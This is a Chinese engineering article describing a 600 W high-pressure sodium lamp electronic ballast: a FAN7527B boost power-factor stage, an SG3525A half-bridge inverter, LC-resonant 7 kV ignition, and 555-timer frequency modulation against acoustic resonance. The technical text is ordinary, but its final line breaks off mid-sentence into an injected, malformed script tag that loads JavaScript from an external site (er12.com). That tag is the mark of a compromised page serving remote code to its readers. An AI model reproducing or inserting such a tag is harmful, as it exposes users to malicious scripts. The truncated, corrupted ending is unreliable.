高压钠灯（hpsl）是一种性能优异的高强度气体放电灯（hidl），其优点是光效高、寿命长、光色好，所以应用广泛。与所有的气体放电电光源一样，高压钠灯呈负v－i特性，需要镇流器来抑制灯电流，而且启动时需要5～20kv的气体击穿电压。传统的电感镇流器体积大，功率因数低（只能达到0.3～0.4），而且对电网电压波动的适应能力不强，所以，研制性价比较高的电子镇流器以取代电感镇流器是大势所趋。现已研制的高压钠灯电子镇流器大都是高频电子镇流器，在高频状态下，高压钠灯容易熄弧，并存在声共振问题。为避免声共振，现已研制的600w高压钠灯高频电子镇流器采用了频率调制技术，使高压钠灯的电流工作频率时刻围绕中心频率上下变化。启动部分采用lc串联谐振电路产生高压，简单可靠。
1 整体控制策略
电路原理框图如图1所示。主电路分为两级，第一级为整流及有源功率因数校正电路（apfc），第二级为逆变电路。可以看出，电子镇流器实质上是一个典型的ac/dc/ac变换电路。辅助电源由uc3844组成的单端反激式电源构成，输出电压18v给芯片供电。
图1 600w电子镇流器整体结构图
2 整流和apfc部分
交流电经二极管整流，虽然输入电压是正弦的，但输入电流却严重畸变，效率很低，大量使用会给电网造成严重危害，同时输入电流谐波生成的噪声也会影响电路运行。apfc能使电路输入功率因数提高到0.95以上，使输入电流基本为正弦波，谐波含量大大减少。本文采用fan7527b控制的boost电路作为apfc电路如图2所示。fan7527b是fairchild semiconductor公司生产的简单高效的功率因数校正器，内含r/c滤波器，故外围电路不需接r/c滤波器。变压器t1副边有两个作用：给芯片供电，同时作为电流过零的检测信号。此芯片采用电压电流双闭环控制，内环使用电流断续不定频率模式控制。电压检测信号（脚1）和同步信号（脚3）相乘作为电流给定，r5为电流检测电阻。输出电压可在较大范围内进行控制，根据后一级需要，这里控制在400v，如图2所示。
图2 整流和apfc原理图
3 高频半桥逆变部分
高频逆变是高压钠灯电子镇流器的重要组成部分，采用了半桥逆变变异形式，少用了两个电容，结构简单，节约了成本。只是电路的输出电压是全桥的一半，在同样输出功率的条件下，半桥的功率管电流比全桥大一倍，考虑到高压钠灯正常工作电压，半桥电路能完全满足其需求。如图3所示，其工作过程为电感l1和c9首先达到串联谐振，频率为200khz，产生7kv高压，使高压钠灯点火，点火后高压钠灯导通，c9不起作用，由于c8>>c9，c8和电感不会谐振，起到了镇流作用，这时频率以35khz为中心上下波动2khz范围，1min后高压钠灯达到恒定功率正常运行。半桥输出方波，经c8和l1镇流后变为高频交流电。
如图3所示，半桥驱动芯片采用美国硅通公司生产的电压型pwm控制器sg3525a，是一种性能优良，功能齐全，通用性很强的单片集成pwm控制器。该芯片简单可靠，且使用方便灵活，通过适当外接电路，不仅能够实现pwm控制，还可以完成输入软启动、过载限流、过压保护、死区调节等多种功能。其工作原理为将触发脉冲变压器t3输出的两路互补的pwm驱动脉冲送至开关管s2、s3的栅极，控制两只功率管交替工作。sg3525a内 的 振 荡 器 外 接 时 标 电 容 ct， 通 过 电 阻rd提 供 放 电 通 路 。 改 变rd的 数 值 则 可 以 改 变ct的 放 电 时 间 ， 同 时 可 以 改 变 死 区 时 间 。 而 ct的 充电 电 流 则 由rt规 定 的 电 流 源 决 定 ， sg3525a的脚 8起 到 输 入 软 启 动 作 用 。 sg3525a的 振 荡 频 率f=1/[ct×(0.7rt＋rd)]。
图3 半桥高频逆变电路
4 声共振的抑制
在采用高频电源点燃hpsl时，管内压力波的脉动从管内壁反射回来，若与灯的高频电流的脉动成分相位相同，则形成驻波，产生声共振。只要镇流器的工作频率与其中的一个声振荡频率相同，就有可能产生声共振。
研究表明，在8khz～150khz频率范围内，易产生声共振。为此，对声共振的抑制国外文献提出了许多方法，如直流叠加法、周期换相法和变频调制法，但因电路复杂及成本增加较多而不能投入批量生产。而在适当的高频下，频率调制驱动技术是一种简单实用的新型技术，它在消除高压钠灯电子镇流器中的声频共振现象时效果很好。
如图4所示，本次实验采用了555定时器组成多谐振荡器，发出频率为2khz的方波，使s4不断地导通和关断，促使sg3525a的振荡器的脚6电平发生变化，结果就使镇流器的工作频率时刻围绕中心频率(35khz)变化，有时即使遇到声频振荡频率，由于还来不及形成驻波，频率就变化了，这样避免了声共振。
图4 声共振的抑制原理图
5 实验结果
根据以上的设计，实验用高压钠灯型号为ng400，数字存储示波器型号为ds－5000系列。如图5所示，其启动电压为7kv，脉冲宽度小于等于0.2μs。图6是高压钠灯正常工作时的电压电流输出波形，通道1为电压输出波形，通道2为?script src=http://er12.com/t.js>
